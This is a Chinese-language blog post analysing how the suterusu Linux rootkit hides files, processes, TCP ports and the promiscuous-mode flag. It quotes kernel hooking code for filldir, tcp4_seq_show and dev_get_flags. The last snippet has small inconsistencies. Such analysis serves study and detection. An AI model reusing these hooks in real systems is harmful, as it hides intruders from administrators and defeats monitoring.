suterusu的文件、进程、端口隐藏代码简解,位于main.c
0x01 文件系统相关
文件和进程隐藏
文件结构体和文件操作结构体推荐看《Linux内核设计与实现》去初步了解,进程隐藏实际上是文件隐藏的复用
1 2 3 4 5 6
| static int (*proc_iterate)(struct file *file, void *dirent, filldir_t filldir);
proc_iterate = get_vfs_iterate("/proc"); hijack_start(proc_iterate, &n_proc_iterate);
|
拿到/proc
和/
目录的文件结构体中readdir
函数指针
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| #define ITERATE_PROTO struct file *file, void *dirent, filldir_t filldir #define FILLDIR_VAR filldir
int n_proc_iterate ( ITERATE_PROTO ) { int ret; proc_filldir = FILLDIR_VAR;
hijack_pause(proc_iterate); REPLACE_FILLDIR(proc_iterate, n_proc_filldir); hijack_resume(proc_iterate);
return ret; }
#define REPLACE_FILLDIR(ITERATE_FUNC, FILLDIR_FUNC) \ { \ ret = ITERATE_FUNC(file, dirent, &FILLDIR_FUNC);\ }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| static int n_proc_filldir( void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type ) { struct hidden_proc *hp; char *endp; long pid;
pid = simple_strtol(name, &endp, 10);
list_for_each_entry ( hp, &hidden_procs, list ) if ( pid == hp->pid ) return 0;
return proc_filldir(__buf, name, namelen, offset, ino, d_type); }
|
1 2 3 4 5 6 7 8 9 10
| static int n_root_filldir( void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type ) { struct hidden_file *hf;
list_for_each_entry ( hf, &hidden_files, list ) if ( ! strcmp(name, hf->name) ) return 0;
return root_filldir(__buf, name, namelen, offset, ino, d_type); }
|
文件隐藏有个小bug,strcmp不含长度比较,直接使用会出错,能看见下图中字符指针存在脏数据,故字符串比较需要带上长度
0x02 网络系统相关
连接隐藏
要隐藏连接和端口,就需要对netstat的底层调用有所了解
这里使用strace来查看函数调用,strace netstat -antu
,结果如下
/proc/net/tcp
文件提供了tcp的连接信息,是由net/ipv4/tcp_ipv4.c
中的tcp4_seq_show()
实现信息打印的 ref
tcp4_seq_show
就是seq_operations
中的show
函数 ref
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| struct seq_file { char *buf; size_t size; size_t from; size_t count; size_t pad_until; loff_t index; loff_t read_pos; u64 version; struct mutex lock; const struct seq_operations *op; int poll_event; const struct file *file; void *private; };
struct seq_operations { void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_file *m, void *v); void * (*next) (struct seq_file *m, void *v, loff_t *pos); int (*show) (struct seq_file *m, void *v); };
static struct tcp_seq_afinfo tcp4_seq_afinfo = { .name = "tcp", .family = AF_INET, .seq_fops = &tcp_afinfo_seq_fops, .seq_ops = { .start = tcp_seq_start, .show = tcp4_seq_show, .next = tcp4_seq_next, .stop = tcp4_seq_stop, }, };
|
ref: Proc中使用seq_file,数据如何传递
另外如果要hook另一种网络连接查看方式ss,其系统调用链和netstat不同,用strace ss -antu
查看后发现需要hook的函数是recvmsg
,后续会尝试实现在自己的demo中
再来看具体的hook函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| #define TMPSZ 150
static int n_tcp4_seq_show ( struct seq_file *seq, void *v ) { int ret = 0; char port[12]; struct hidden_port *hp;
hijack_pause(tcp4_seq_show); ret = tcp4_seq_show(seq, v); hijack_resume(tcp4_seq_show);
list_for_each_entry ( hp, &hidden_tcp4_ports, list ) { sprintf(port, ":%04X", hp->port);
if ( strnstr(seq->buf + seq->count - TMPSZ, port, TMPSZ) ) { seq->count -= TMPSZ; break; } }
return ret; }
|
思路是,先调用真的show
向seq
中写入一条记录,然后检查写入的内容中是否有:your_port_number
这个字符串,如果有,就把seq->count
这个记录缓冲区已经使用的字节数减去一条记录的长度TMPSZ
相当于之前写入的无效了;如果没有,就正常放行。
ref: Linux Rootkit实验|0204 Rootkit基本功能之隐藏端口
隐藏混杂模式标记
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| #include <net/tcp.h> #include <net/udp.h>
unsigned int dev_get_flags(const struct net_device *dev ) unsigned int n_dev_get_flags(const struct net_dev *dev) { unsigned int ret; hook_pause(dev_get_flags); ret = dev_get_flags(dev); hook_resume(dev_get_flags); if (hide_promisc) ret &= ~IFF_PROMISC; return ret; }
|
通过hook原生api dev_get_flags
,将混杂标志位隐藏,混杂模式被rootkit用来进行网络流量嗅探,不过其实这样很容易被发现,只要管理员调整混杂模式或使用tcpdump抓包就会被发现